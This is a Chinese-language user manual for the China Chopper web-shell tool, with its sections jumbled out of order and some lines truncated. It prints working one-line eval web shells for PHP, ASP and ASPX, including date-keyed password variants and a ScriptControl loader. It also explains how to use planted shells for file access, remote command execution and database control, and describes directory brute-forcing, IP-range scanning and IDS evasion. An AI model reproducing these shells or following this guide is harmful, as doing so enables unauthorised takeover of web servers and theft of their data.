中国菜刀使用说明(China chopper)

:
<%@ Page Language="Jscript"%><%eval(Request.Item[FormsAuthentication.HashPasswordForStoringInConfigFile(String.Format("{0:yyyyMMdd}",DateTime.Now.ToUniversalTime())+"37E4DD20C310142564FC483DB1132F36", "MD5").ToUpper()],"unsafe");%>
C) 只扫描本C段开放的WEB服务器
{reverse_ip_c} {url:/} {port}
D) 蜘蛛爬行
{spider} {url:/}
E) 蜘蛛爬行，并设定爬行范围
{spider} {url:/} {range:}
ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;
同时，支持NT验证登录MSSQL数据库，并能把查询的结果列表导出为html文件
Customize 脚本：
可以在官网下载别人的CCC脚本，或分享你的得意之作。
注意：由于服务器的安全设置，某些功能可能不能正常使用。
3) 配置信息填写说明
---------------------------------------------------------------------------------------
<POST>https:///cgi-bin/login.cgi</POST>
<DATA>uid=user1&pwd=123456</DATA>
默认终端程序路径设置示例：
<SHELL>/bin/sh</SHELL>
虚拟终端默认命令设置示例：
<CMD>whoami</CMD>
</X>
MYSQL:
<X>
com.mysql.jdbc.Driver
jdbc:mysql://localhost/test?user=root&password=123456
</X>
ORACLE:
<X>
oracle.jdbc.driver.OracleDriver
20110628版更新注意事项
缓存库最好重建一下。
--------------------------------------------
文件说明：
------------------------------------------------------------------
chopper.exe 菜刀程序
A) 数据库方面：
-----------------------------------------------------------------------------
PHP脚本：
<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种
<H>主机地址<H> 主机地址可为机器名或IP地址，如localhost
文件管理默认打开的目录设置示例：
<CD>c:\windows\temp\</CD>
3) HTTP登录验证
SHELL地址这样填 http://user:pass@/server.asp
用户名密码中的特殊字符可用URL编码转换。
4) 数据导入：在SHELL列表界面，右键有一项菜单，可以把其它的菜刀库导入到当前分类中。
二、安全扫描
蜘蛛爬行，绑定域名查询，目录爆破。
命令解释:
A) 查单一IP的绑定域名
{reverse_ip} {url:/}
B) 扫描本C段开放的WEB服务器，并查询绑定域名
{reverse_ip_c} {url:/}
软件名称：中国菜刀(China chopper)
官方网站：/
----------------------------------------------------------------------------------------------------------
db.mdb 菜刀的主数据库
{crack} {url:/%s/} {flag:successfully} {dict:list.txt}
三、定时提醒
当闹钟来用吧, 周期：每月/每周/每日/只一次。
四、快速启动
一些常用的快捷方式放在这里，可以指定用户身份运行程序。这部分数据是加密存储的。
程序在使用过程中难免有各种BUG，到官网看一下是否有更新吧，说不定己经修补了呢。
----------------------------------------------------------------------------------------------------------
UINCODE方式编译，支持多国语言输入显示。
<T>类型</T> 类型只能填XDB
<X>与Customize 脚本约定的配置信息</X>
菜刀自带的Customize.jsp数据库参数填写方法如下(两行)：
MSSQL:
<X>
com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
在服务端运行的代码如下：
PHP: <?php @eval($_POST['chopper']);?>
ASP: <%eval request("chopper")%>
: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],"unsafe");%>
PHP:
@eval($_POST[strtoupper(md5(gmdate("Ymd")."37E4DD20C310142564FC483DB1132F36"))]);
例如：菜刀的密码为chopper，在前面加三个字符,新密码为：{D}chopper
2）几大功能
在主视图中右键/添加，在弹出的对话框中输入服务端地址，连接的密码(请注意上例中的pass字串)，选择正确的脚本类型和语言编码，
注：从20100626版开始，list.txt一定要是UNICODE格式的文本文件
{crack} {url:http://%s/admin/} {flag:HTTP/1.1 200} {dict:list.txt}
{crack} {url:http://%s/admin/} {flag:!!HTTP/1.1 404} {dict:list.txt}
免责申明：
请使用者注意使用环境并遵守国家相关法律法规！
由于使用不当造成的后果本厂家不承担任何责任！
----------------------------------------------------------------------------------------------------------
在非简体中文环境下使用，自动更换成英文界面，翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分
1）基本信息
Eval服务端只需要简单的一行代码，即可用此程序实现常用的管理功能，功能代码二次编码后发送，过IDS的能力大幅提高。
目前支持的服务端脚本：PHP, ASP, ，并且支持https安全连接的网站。
(注意: 要单独一个文件或此文件也是Jscript脚本)
Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
此模式可按需定制，比如只要浏览目录，或是只要虚拟终端功能，代码可以很简短。
随日期变化的连接密码, 服务端写法：
<%
Set o = Server.CreateObject("ScriptControl")
nguage = "vbscript"
o.addcode(Request("SC"))
o.run "ff",Server,Response,Request,Application,Session,Error
保存后即可使用文件管理，虚拟终端，数据库管理，自写脚本几大块功能。
1. 文件管理：[特色]缓存下载目录，并支持离线查看缓存目录;
2. 虚拟终端：[特色]人性化的设计，操作方便;(输入HELP查看更多用法), 超长命令会分割为5k字节一份，分别提交。
3. 数据库管理：[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS, 以及支持ADO方式连接的数据库。
五、浏览器
就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。